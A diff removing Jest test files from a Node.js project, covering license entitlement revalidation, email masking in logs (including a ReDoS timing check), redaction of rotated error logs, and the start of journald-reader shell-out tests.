const manager = new LicenseManager(creds, configPath, {});
|
|
||||||
manager.activation = cached;
|
|
||||||
manager._writeRevocationTombstone = jest.fn().mockRejectedValue(new Error('disk full'));
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue({ success: false, message: 'Revoked' });
|
|
||||||
manager._updateConfig = jest.fn().mockRejectedValue(new Error('config locked'));
|
|
||||||
await manager.refreshOnline(true);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
await expect(creds.retrieve('license.activation')).resolves.not.toBeNull();
|
|
||||||
|
|
||||||
const restarted = new LicenseManager(creds, configPath, {});
|
|
||||||
restarted._validateOnline = jest.fn().mockResolvedValue(null);
|
|
||||||
await restarted.load();
|
|
||||||
expect(restarted.activation).toBeNull();
|
|
||||||
fs.unlinkSync(configPath);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('ambiguous empty HTTP 200 preserves bounded cached entitlement', async () => {
|
|
||||||
const originalFetch = global.fetch;
|
|
||||||
try {
|
|
||||||
global.fetch = jest.fn().mockResolvedValue({ ok: true, status: 200, json: async () => ({}) });
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const manager = new LicenseManager(makeCreds(), path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
manager.activation = {
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
activatedAt: new Date().toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
expect(await manager.refreshOnline(true)).toBe(false);
|
|
||||||
expect(manager.activation).not.toBeNull();
|
|
||||||
} finally {
|
|
||||||
global.fetch = originalFetch;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('startup outage fails closed and automatically recovers in the same process', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const configPath = path.join('/tmp', 'dc-license-contract-config.json');
|
|
||||||
const cached = {
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 30 * 86400000).toISOString(),
|
|
||||||
activatedAt: new Date().toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
const creds = makeCreds();
|
|
||||||
creds.values['license.activation'] = JSON.stringify(cached);
|
|
||||||
|
|
||||||
const unavailable = new LicenseManager(creds, configPath, {});
|
|
||||||
unavailable._validateOnline = jest.fn().mockResolvedValue(null);
|
|
||||||
unavailable._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
await unavailable.load();
|
|
||||||
expect(unavailable.activation).toBeNull();
|
|
||||||
await expect(creds.retrieve('license.activation')).resolves.not.toBeNull();
|
|
||||||
expect(fs.existsSync(`${configPath}.license-revoked`)).toBe(false);
|
|
||||||
|
|
||||||
unavailable._validateOnline = jest.fn().mockResolvedValue({
|
|
||||||
success: true,
|
|
||||||
activation: { ...cached, expiresAt: new Date(Date.now() + 30 * 86400000).toISOString() }
|
|
||||||
});
|
|
||||||
const recovered = await unavailable._retryStartupValidation();
|
|
||||||
expect(recovered).toBe(true);
|
|
||||||
expect(unavailable.activation.code).toBe(cached.code);
|
|
||||||
expect(unavailable.activation.validationMethod).toBe('online');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('startup recovery persistence failure stays fail-closed and remains retryable', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const configPath = path.join('/tmp', 'dc-license-contract-config.json');
|
|
||||||
const cached = {
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 30 * 86400000).toISOString(),
|
|
||||||
activatedAt: new Date().toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
const creds = makeCreds();
|
|
||||||
creds.values['license.activation'] = JSON.stringify(cached);
|
|
||||||
const manager = new LicenseManager(creds, configPath, {});
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue(null);
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
await manager.load();
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
|
|
||||||
manager._validateOnline.mockResolvedValue({ success: true, activation: cached });
|
|
||||||
creds.store.mockRejectedValueOnce(new Error('credential disk full'));
|
|
||||||
expect(await manager._retryStartupValidation()).toBe(false);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
expect(manager._pendingStartupCode).toBe(cached.code);
|
|
||||||
|
|
||||||
const preserved = await creds.retrieve('license.activation');
|
|
||||||
manager._updateConfig.mockRejectedValueOnce(new Error('config disk full'));
|
|
||||||
expect(await manager._retryStartupValidation()).toBe(false);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
expect(await creds.retrieve('license.activation')).toBe(preserved);
|
|
||||||
expect(manager._pendingStartupCode).toBe(cached.code);
|
|
||||||
|
|
||||||
expect(await manager._retryStartupValidation()).toBe(true);
|
|
||||||
expect(manager.activation.code).toBe(cached.code);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
const createLicenseRouter = require('../routes/license');
|
|
||||||
|
|
||||||
function asyncHandler(fn) {
|
|
||||||
return (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
|
||||||
}
|
|
||||||
|
|
||||||
test('GET license status forces online entitlement refresh before responding', async () => {
|
|
||||||
const licenseManager = {
|
|
||||||
refreshOnline: jest.fn().mockResolvedValue(true),
|
|
||||||
getStatus: jest.fn().mockReturnValue({ active: true, tier: 'premium' }),
|
|
||||||
};
|
|
||||||
const app = express();
|
|
||||||
app.use('/license', createLicenseRouter({ licenseManager, asyncHandler }));
|
|
||||||
const response = await request(app).get('/license/status');
|
|
||||||
expect(response.status).toBe(200);
|
|
||||||
expect(licenseManager.refreshOnline).toHaveBeenCalledWith();
|
|
||||||
expect(licenseManager.getStatus).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
@@ -1,287 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-095: central email (PII) masking in the unified logger.
|
|
||||||
*
|
|
||||||
* Every log sink must mask email addresses regardless of what a call site
|
|
||||||
* interpolates — msg strings, data payloads, error messages/stacks, audit
|
|
||||||
* details, and error.log lines. Shape matches AuthProvider.maskEmail
|
|
||||||
* ("sa****@example.com"). Non-email `@` shapes (root@hostname, pkg@1.2.3)
|
|
||||||
* must pass through untouched.
|
|
||||||
*
|
|
||||||
* Regression provenance: DC-089 judge note #3 — invite/auth call sites were
|
|
||||||
* fixed individually, but new call sites kept reintroducing raw PII. This is
|
|
||||||
* the central choke-point defense.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const fsp = require('fs').promises;
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
const TMP_DIR = fs.mkdtempSync(path.join(os.tmpdir(), 'dc-logging-emailmask-'));
|
|
||||||
process.env.AUDIT_LOG_FILE = path.join(TMP_DIR, 'audit-log.json');
|
|
||||||
process.env.ERROR_LOG_FILE = path.join(TMP_DIR, 'error.log');
|
|
||||||
process.env.NODE_ENV = 'production'; // JSON output mode
|
|
||||||
|
|
||||||
const {
|
|
||||||
log,
|
|
||||||
setLevel,
|
|
||||||
AUDIT_LOG_FILE,
|
|
||||||
ERROR_LOG_FILE,
|
|
||||||
} = require('../src/utils/logging');
|
|
||||||
|
|
||||||
const RAW = 'sami.admin@example.com';
|
|
||||||
|
|
||||||
afterAll(async () => {
|
|
||||||
try { await fsp.rm(TMP_DIR, { recursive: true, force: true }); } catch (_) {}
|
|
||||||
});
|
|
||||||
|
|
||||||
beforeEach(async () => {
|
|
||||||
try { await fsp.writeFile(AUDIT_LOG_FILE, '[]'); } catch (_) {}
|
|
||||||
try { await fsp.writeFile(ERROR_LOG_FILE, ''); } catch (_) {}
|
|
||||||
setLevel('debug');
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-095: logger-level email masking', () => {
|
|
||||||
let infoSpy, errorSpy, warnSpy;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
infoSpy = jest.spyOn(console, 'info').mockImplementation(() => {});
|
|
||||||
warnSpy = jest.spyOn(console, 'warn').mockImplementation(() => {});
|
|
||||||
errorSpy = jest.spyOn(console, 'error').mockImplementation(() => {});
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
infoSpy.mockRestore();
|
|
||||||
warnSpy.mockRestore();
|
|
||||||
errorSpy.mockRestore();
|
|
||||||
});
|
|
||||||
|
|
||||||
const consoleOut = () =>
|
|
||||||
[...infoSpy.mock.calls, ...warnSpy.mock.calls, ...errorSpy.mock.calls]
|
|
||||||
.map(c => String(c[0]))
|
|
||||||
.join('\n');
|
|
||||||
|
|
||||||
test('msg string with interpolated email is masked on console', () => {
|
|
||||||
log.warn('auth-magic-send', `SMTP delivery failed for ${RAW}`);
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).not.toContain(RAW);
|
|
||||||
expect(out).toContain('sa****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('data payload object: email field masked on console', () => {
|
|
||||||
log.info('auth', 'email magic link issued', { email: RAW, ip: '1.2.3.4' });
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).not.toContain(RAW);
|
|
||||||
expect(JSON.parse(out)).toMatchObject({ data: { email: 'sa****@example.com', ip: '1.2.3.4' } });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('nested payload strings masked (link URLs, arrays, depth)', () => {
|
|
||||||
log.info('auth', 'magic link', {
|
|
||||||
url: `https://x.example/verify?to=${RAW}`,
|
|
||||||
to: [RAW, 'other.person@sub.domain.org'],
|
|
||||||
meta: { owner: RAW, note: 'no email here' },
|
|
||||||
});
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).not.toContain(RAW);
|
|
||||||
expect(out).not.toContain('other.person@sub.domain.org');
|
|
||||||
const parsed = JSON.parse(out);
|
|
||||||
expect(parsed.data.url).toBe('https://x.example/verify?to=sa****@example.com');
|
|
||||||
expect(parsed.data.to).toEqual(['sa****@example.com', 'ot****@sub.domain.org']);
|
|
||||||
expect(parsed.data.meta.owner).toBe('sa****@example.com');
|
|
||||||
expect(parsed.data.meta.note).toBe('no email here');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('error messages and stacks are masked on console', () => {
|
|
||||||
const err = new Error(`SMTP delivery to ${RAW} rejected by relay`);
|
|
||||||
log.error('auth-magic-send', err);
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).not.toContain(RAW);
|
|
||||||
expect(out).toContain('sa****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('log.error writes masked lines to error.log (head, stack, context)', async () => {
|
|
||||||
const err = new Error(`RCPT ${RAW} bounced`);
|
|
||||||
await log.error('smtp', err, null, { recipient: RAW, note: 'retry' });
|
|
||||||
const raw = await fsp.readFile(ERROR_LOG_FILE, 'utf8');
|
|
||||||
expect(raw).not.toContain(RAW);
|
|
||||||
expect(raw).toContain('sa****@example.com');
|
|
||||||
expect(raw).toContain('***'); // SENSITIVE_KEYS not triggered here; recipient is plain key
|
|
||||||
});
|
|
||||||
|
|
||||||
test('logError wrapper: error.log context line masked', async () => {
|
|
||||||
const { logError } = require('../src/utils/logging');
|
|
||||||
await logError('smtp', new Error(`delivery failed for ${RAW}`), { to: RAW });
|
|
||||||
const raw = await fsp.readFile(ERROR_LOG_FILE, 'utf8');
|
|
||||||
expect(raw).not.toContain(RAW);
|
|
||||||
expect(raw).toContain('sa****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('audit details: email in body masked in audit-log.json', async () => {
|
|
||||||
await log.audit({
|
|
||||||
action: 'test.invite',
|
|
||||||
resource: 'invites',
|
|
||||||
outcome: 'success',
|
|
||||||
details: { body: { email: RAW, role: 'viewer' } },
|
|
||||||
});
|
|
||||||
const entries = await log.queryAudit({ limit: 5 });
|
|
||||||
const entry = entries.find(e => e.action === 'test.invite');
|
|
||||||
expect(entry).toBeDefined();
|
|
||||||
expect(entry.details.body.email).toBe('sa****@example.com');
|
|
||||||
expect(entry.details.body.role).toBe('viewer');
|
|
||||||
const onDisk = await fsp.readFile(AUDIT_LOG_FILE, 'utf8');
|
|
||||||
expect(onDisk).not.toContain(RAW);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('log entry event: emitted entry carries masked msg and masked payload', () => {
|
|
||||||
const captured = [];
|
|
||||||
const handler = (e) => captured.push(e);
|
|
||||||
log.on('entry', handler);
|
|
||||||
// info-path: msg masked (data object is console-only by design — entry
|
|
||||||
// only carries error/payload fields, matching pre-DC-095 behavior).
|
|
||||||
log.info('auth', `magic link issued for ${RAW}`);
|
|
||||||
// error-path: payload DOES land on the entry and must be masked there.
|
|
||||||
log.error('smtp', new Error('relay down'), null, { recipient: RAW });
|
|
||||||
log.off('entry', handler);
|
|
||||||
const info = captured.find(e => e.msg.includes('magic link'));
|
|
||||||
expect(info).toBeDefined();
|
|
||||||
expect(info.msg).toBe('magic link issued for sa****@example.com');
|
|
||||||
const errEntry = captured.find(e => e.level === 'error');
|
|
||||||
expect(errEntry).toBeDefined();
|
|
||||||
expect(errEntry.data.recipient).toBe('sa****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-email @ shapes untouched (hostnames, versions, shas)', () => {
|
|
||||||
log.info('docker', 'image built', {
|
|
||||||
ref: 'registry.local/app@sha256:abcdef',
|
|
||||||
user: 'root@web-1',
|
|
||||||
ver: 'pkg@1.2.3',
|
|
||||||
tag: 'dashcaddy@2x',
|
|
||||||
});
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).toContain('registry.local/app@sha256:abcdef');
|
|
||||||
expect(out).toContain('root@web-1');
|
|
||||||
expect(out).toContain('pkg@1.2.3');
|
|
||||||
expect(out).toContain('dashcaddy@2x');
|
|
||||||
expect(out).not.toContain('****');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('masking is idempotent (double-masked output stable)', () => {
|
|
||||||
log.info('auth', 'already masked', { email: 'sa****@example.com' });
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).toContain('sa****@example.com');
|
|
||||||
expect(out.match(/\*/g).length).toBe(4); // exactly one mask, not doubled
|
|
||||||
});
|
|
||||||
|
|
||||||
test('short local-parts mask to 1 char + stars', () => {
|
|
||||||
log.info('auth', 'short', { email: 'ab@example.com' });
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).toContain('a****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('payload object identity preserved for non-plain objects', () => {
|
|
||||||
const d = new Date(0);
|
|
||||||
log.info('test', 'date passthrough', { when: d });
|
|
||||||
const out = consoleOut();
|
|
||||||
const parsed = JSON.parse(out);
|
|
||||||
expect(parsed.data.when).toBe('1970-01-01T00:00:00.000Z');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-095 round 2: adversarial judge findings', () => {
|
|
||||||
let infoSpy, errorSpy, warnSpy;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
infoSpy = jest.spyOn(console, 'info').mockImplementation(() => {});
|
|
||||||
warnSpy = jest.spyOn(console, 'warn').mockImplementation(() => {});
|
|
||||||
errorSpy = jest.spyOn(console, 'error').mockImplementation(() => {});
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
infoSpy.mockRestore();
|
|
||||||
warnSpy.mockRestore();
|
|
||||||
errorSpy.mockRestore();
|
|
||||||
});
|
|
||||||
|
|
||||||
const consoleOut = () =>
|
|
||||||
[...infoSpy.mock.calls, ...warnSpy.mock.calls, ...errorSpy.mock.calls]
|
|
||||||
.map(c => String(c[0]))
|
|
||||||
.join('\n');
|
|
||||||
|
|
||||||
test('ReDoS: 40KB adversarial "a@"+"1."*20000 string processes in <250ms', () => {
|
|
||||||
const evil = 'a@' + '1.'.repeat(20000);
|
|
||||||
const t0 = Date.now();
|
|
||||||
log.info('test', 'evil', { body: evil });
|
|
||||||
const elapsed = Date.now() - t0;
|
|
||||||
// The payload contains no real email (all digits/dots, no alpha TLD), so
|
|
||||||
// nothing to mask — this test pins the TIMING bound only: the unbounded
|
|
||||||
// quantifier version stalled 3.3s on this exact input.
|
|
||||||
expect(elapsed).toBeLessThan(250);
|
|
||||||
// And a real email embedded in a huge adversarial string still masks fast:
|
|
||||||
const evil2 = 'x'.repeat(20000) + ' real@user.example.com ' + 'y'.repeat(20000);
|
|
||||||
const t1 = Date.now();
|
|
||||||
log.info('test', 'evil2', { body: evil2 });
|
|
||||||
expect(Date.now() - t1).toBeLessThan(250);
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).not.toContain('real@user.example.com');
|
|
||||||
expect(out).toContain('re****@user.example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DAG shared reference: BOTH paths masked, no raw leak', () => {
|
|
||||||
const shared = { email: 'leak.me@example.com' };
|
|
||||||
log.info('auth', 'dag', { a: shared, b: shared });
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).not.toContain('leak.me@example.com');
|
|
||||||
// both a and b carry the masked form
|
|
||||||
const parsed = JSON.parse(out);
|
|
||||||
expect(parsed.data.a.email).toBe('le****@example.com');
|
|
||||||
expect(parsed.data.b.email).toBe('le****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('quoted local-part ("john doe"@example.com) masked', () => {
|
|
||||||
log.info('auth', 'quoted', { email: '"john doe"@example.com' });
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).not.toContain('john doe');
|
|
||||||
expect(out).not.toContain('"john doe"@example.com');
|
|
||||||
// DC-109: delimiter quotes are syntax, not PII — strip, never re-emit.
|
|
||||||
expect(out).toContain('jo****@example.com'); // 2 REAL local chars, canonical shape
|
|
||||||
expect(out).not.toMatch(/["']j\*{4}/); // old bug: stray quote among the 2 chars
|
|
||||||
});
|
|
||||||
|
|
||||||
test('class instance enumerable email prop masked, prototype preserved', () => {
|
|
||||||
class UserRecord { constructor() { this.email = 'inst@example.com'; } }
|
|
||||||
log.info('auth', 'instance', { user: new UserRecord() });
|
|
||||||
const out = consoleOut();
|
|
||||||
expect(out).not.toContain('inst@example.com');
|
|
||||||
expect(out).toContain('in****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('cyclic payload terminates and masks (no crash, no hang)', () => {
|
|
||||||
const cyc = { note: 'cycle@example.com' };
|
|
||||||
cyc.self = cyc;
|
|
||||||
// JSON.stringify of the masked clone contains the cycle; jest spy just
|
|
||||||
// captures the thrown-free path — assert the log call returns and the
|
|
||||||
// raw email never appears in captured console args.
|
|
||||||
let threw = null;
|
|
||||||
try { log.info('test', 'cycle', cyc); } catch (e) { threw = e; }
|
|
||||||
// Either it serializes (clone breaks the cycle via memo) or throws a
|
|
||||||
// TypeError cyclic — both acceptable; PII must not leak either way.
|
|
||||||
const out = threw ? '' : consoleOut();
|
|
||||||
expect(out).not.toContain('cycle@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('request line: email-bearing req.path and user-agent masked in error.log', async () => {
|
|
||||||
const fakeReq = {
|
|
||||||
method: 'POST',
|
|
||||||
path: '/api/v1/auth/invites/sami.admin@example.com/accept',
|
|
||||||
ip: '10.0.0.9',
|
|
||||||
id: 'req-1',
|
|
||||||
get: (h) => (h === 'user-agent' ? 'ContactTool (admin@example.com)' : ''),
|
|
||||||
};
|
|
||||||
await log.error('auth', new Error('invite accept failed'), fakeReq);
|
|
||||||
const raw = await fsp.readFile(ERROR_LOG_FILE, 'utf8');
|
|
||||||
expect(raw).not.toContain('sami.admin@example.com');
|
|
||||||
expect(raw).not.toContain('admin@example.com');
|
|
||||||
expect(raw).toContain('/api/v1/auth/invites/sa****@example.com/accept');
|
|
||||||
expect(raw).toContain('ContactTool (ad****@example.com)');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,150 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-108 — redact-on-rotate tests
|
|
||||||
*
|
|
||||||
* When error.log crosses MAX_ERROR_LOG_SIZE, the rotation renames it to
|
|
||||||
* error.log.1 and (new in DC-108) scrubs the archive with the canonical
|
|
||||||
* email mask. DC-095 masks at every live sink; this is the belt-and-braces
|
|
||||||
* backstop for any future sink that forgets.
|
|
||||||
*
|
|
||||||
* Covers:
|
|
||||||
* - rotation scrubs raw emails out of the archive (canonical sa****@ form)
|
|
||||||
* - already-clean archive is never rewritten (inode + mtime preserved)
|
|
||||||
* - scrub failure does NOT lose the new error line (append still runs)
|
|
||||||
* - archive mode is preserved across the atomic rewrite
|
|
||||||
* - no .redact-<pid> temp file is left behind on success
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const fsp = require('fs').promises;
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
// Isolated temp dir + env BEFORE the module capture (logging.test.js pattern)
|
|
||||||
const TMP_DIR = fs.mkdtempSync(path.join(os.tmpdir(), 'dc108-rotate-test-'));
|
|
||||||
process.env.AUDIT_LOG_FILE = path.join(TMP_DIR, 'audit-log.json');
|
|
||||||
process.env.ERROR_LOG_FILE = path.join(TMP_DIR, 'error.log');
|
|
||||||
process.env.NODE_ENV = 'production'; // JSON output mode (stable, parseable)
|
|
||||||
|
|
||||||
const { log, ERROR_LOG_FILE, MAX_ERROR_LOG_SIZE } = require('../src/utils/logging');
|
|
||||||
|
|
||||||
const ROTATED = ERROR_LOG_FILE + '.1';
|
|
||||||
const RAW_EMAIL = 'someone.example@example.com';
|
|
||||||
|
|
||||||
// Seed error.log past the rotation threshold. `extra` is appended raw to
|
|
||||||
// simulate pre-DC-095-style unmasked content (the backstop's threat model).
|
|
||||||
async function seedOversized(extra) {
|
|
||||||
const padding = 'x'.repeat(MAX_ERROR_LOG_SIZE + 64);
|
|
||||||
await fsp.writeFile(ERROR_LOG_FILE, padding + (extra || ''), 'utf8');
|
|
||||||
}
|
|
||||||
|
|
||||||
// log.error flushes to the file awaited; one call is one append+rotate.
|
|
||||||
async function triggerAppend() {
|
|
||||||
await log.error('dc108-test', 'rotation trigger', { seq: Math.random() });
|
|
||||||
}
|
|
||||||
|
|
||||||
afterAll(async () => {
|
|
||||||
try { await fsp.rm(TMP_DIR, { recursive: true, force: true }); } catch (_) {}
|
|
||||||
});
|
|
||||||
|
|
||||||
beforeEach(async () => {
|
|
||||||
await fsp.writeFile(ERROR_LOG_FILE, '', 'utf8');
|
|
||||||
try { await fsp.rm(ROTATED, { force: true }); } catch (_) {}
|
|
||||||
// Sweep any stale temp files from failed assertions
|
|
||||||
for (const f of fs.readdirSync(TMP_DIR)) {
|
|
||||||
if (f.includes('.redact-')) await fsp.rm(path.join(TMP_DIR, f), { force: true });
|
|
||||||
}
|
|
||||||
jest.restoreAllMocks();
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-108 redact-on-rotate', () => {
|
|
||||||
test('rotation scrubs raw emails from the archive', async () => {
|
|
||||||
await seedOversized(`user contact: ${RAW_EMAIL}\n`);
|
|
||||||
await triggerAppend();
|
|
||||||
|
|
||||||
const arch = await fsp.readFile(ROTATED, 'utf8');
|
|
||||||
// Raw PII is gone; canonical masked form is present
|
|
||||||
expect(arch).not.toContain(RAW_EMAIL);
|
|
||||||
expect(arch).toContain('so****@example.com');
|
|
||||||
// New line landed in the fresh error.log
|
|
||||||
const fresh = await fsp.readFile(ERROR_LOG_FILE, 'utf8');
|
|
||||||
expect(fresh).toContain('rotation trigger');
|
|
||||||
// No temp residue
|
|
||||||
const leftovers = fs.readdirSync(TMP_DIR).filter((f) => f.includes('.redact-'));
|
|
||||||
expect(leftovers).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('clean archive keeps the rename inode; PII archive is atomically rewritten', async () => {
|
|
||||||
// Clean case: rotation renames error.log → archive; scrub finds nothing
|
|
||||||
// to do → archive KEEPS the original error.log inode (rename, not rewrite).
|
|
||||||
await seedOversized('no PII here, fully clean\n');
|
|
||||||
const cleanInode = fs.statSync(ERROR_LOG_FILE).ino;
|
|
||||||
await triggerAppend();
|
|
||||||
expect(fs.statSync(ROTATED).ino).toBe(cleanInode);
|
|
||||||
const arch1 = await fsp.readFile(ROTATED, 'utf8');
|
|
||||||
expect(arch1).toContain('fully clean');
|
|
||||||
expect(arch1).not.toContain('****');
|
|
||||||
|
|
||||||
// PII case: scrub rewrites via temp+rename → archive inode DIFFERS from
|
|
||||||
// the pre-rotation error.log inode.
|
|
||||||
await seedOversized(`user contact: ${RAW_EMAIL}\n`);
|
|
||||||
const piiInode = fs.statSync(ERROR_LOG_FILE).ino;
|
|
||||||
await triggerAppend();
|
|
||||||
expect(fs.statSync(ROTATED).ino).not.toBe(piiInode);
|
|
||||||
const arch2 = await fsp.readFile(ROTATED, 'utf8');
|
|
||||||
expect(arch2).toContain('so****@example.com');
|
|
||||||
expect(arch2).not.toContain(RAW_EMAIL);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('scrub failure does not lose the new error line', async () => {
|
|
||||||
await seedOversized(`user contact: ${RAW_EMAIL}\n`);
|
|
||||||
const errSpy = jest.spyOn(console, 'error').mockImplementation(() => {});
|
|
||||||
|
|
||||||
// Make ONLY the archive read fail — rotation itself must still succeed.
|
|
||||||
const realReadFile = fsp.readFile.bind(fsp);
|
|
||||||
const spy = jest.spyOn(fsp, 'readFile').mockImplementation(async (p, ...rest) => {
|
|
||||||
if (typeof p === 'string' && p === ROTATED) {
|
|
||||||
throw new Error('EACCES: permission denied, scrub boom');
|
|
||||||
}
|
|
||||||
return realReadFile(p, ...rest);
|
|
||||||
});
|
|
||||||
|
|
||||||
await triggerAppend();
|
|
||||||
|
|
||||||
// Scrub failure was contained + reported
|
|
||||||
expect(errSpy).toHaveBeenCalledWith(
|
|
||||||
'[logger] Failed to redact rotated error.log archive:',
|
|
||||||
expect.stringContaining('scrub boom')
|
|
||||||
);
|
|
||||||
// Rotation still committed and the new line was still appended
|
|
||||||
expect(fs.existsSync(ROTATED)).toBe(true);
|
|
||||||
const fresh = await fsp.readFile(ERROR_LOG_FILE, 'utf8');
|
|
||||||
expect(fresh).toContain('rotation trigger');
|
|
||||||
spy.mockRestore();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('archive file mode is preserved across the atomic rewrite', async () => {
|
|
||||||
await seedOversized(`user contact: ${RAW_EMAIL}\n`);
|
|
||||||
await fs.promises.chmod(ERROR_LOG_FILE, 0o640);
|
|
||||||
await triggerAppend();
|
|
||||||
|
|
||||||
const mode = fs.statSync(ROTATED).mode & 0o777;
|
|
||||||
expect(mode).toBe(0o640);
|
|
||||||
// And the rewrite actually happened (PII scrubbed)
|
|
||||||
const arch = await fsp.readFile(ROTATED, 'utf8');
|
|
||||||
expect(arch).not.toContain(RAW_EMAIL);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('stale crash-leftover .redact-<pid> temps are swept on rotation', async () => {
|
|
||||||
// Simulate a prior hard crash: abandoned temp sibling still on disk
|
|
||||||
const stale = path.join(TMP_DIR, 'error.log.1.redact-999999');
|
|
||||||
await fsp.writeFile(stale, 'half-scrubbed partial write', 'utf8');
|
|
||||||
await seedOversized('clean rotation content\n');
|
|
||||||
await triggerAppend();
|
|
||||||
|
|
||||||
const leftovers = fs.readdirSync(TMP_DIR).filter((f) => f.includes('.redact-'));
|
|
||||||
expect(leftovers).toEqual([]); // swept, archive + fresh log intact
|
|
||||||
expect(fs.existsSync(ROTATED)).toBe(true);
|
|
||||||
const fresh = await fsp.readFile(ERROR_LOG_FILE, 'utf8');
|
|
||||||
expect(fresh).toContain('rotation trigger');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,326 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-055: Host journald reader unit tests
|
|
||||||
*
|
|
||||||
* The reader is a security-sensitive shell-out — every test below exists
|
|
||||||
* to prevent a regression that would let a caller pass a tainted unit
|
|
||||||
* name or since/until/search string to journalctl. We never call the real
|
|
||||||
* binary; every spawn is mocked by injecting an `exec` function (the
|
|
||||||
* module accepts exec as the second argument specifically for testability).
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const { EventEmitter } = require('events');
|
|
||||||
|
|
||||||
const MODULE_PATH = path.join(__dirname, '..', 'src', 'monitoring', 'journald-reader.js');
|
|
||||||
|
|
||||||
// Construct a fake child process that matches the interface journald-reader
|
|
||||||
// uses: stdout/stderr EventEmitters, kill(), and emits 'exit' on demand.
|
|
||||||
function makeFakeChild({ stdout = '', stderr = '', code = 0, signal = null, failOnSpawn = null, killFn = null } = {}) {
|
|
||||||
const child = new EventEmitter();
|
|
||||||
child.stdout = new EventEmitter();
|
|
||||||
child.stderr = new EventEmitter();
|
|
||||||
child.kill = killFn || (() => {});
|
|
||||||
process.nextTick(() => {
|
|
||||||
if (failOnSpawn) {
|
|
||||||
const err = new Error('spawn fail');
|
|
||||||
err.code = failOnSpawn;
|
|
||||||
child.emit('error', err);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (stdout) child.stdout.emit('data', Buffer.from(stdout));
|
|
||||||
if (stderr) child.stderr.emit('data', Buffer.from(stderr));
|
|
||||||
child.emit('exit', code, signal);
|
|
||||||
});
|
|
||||||
return child;
|
|
||||||
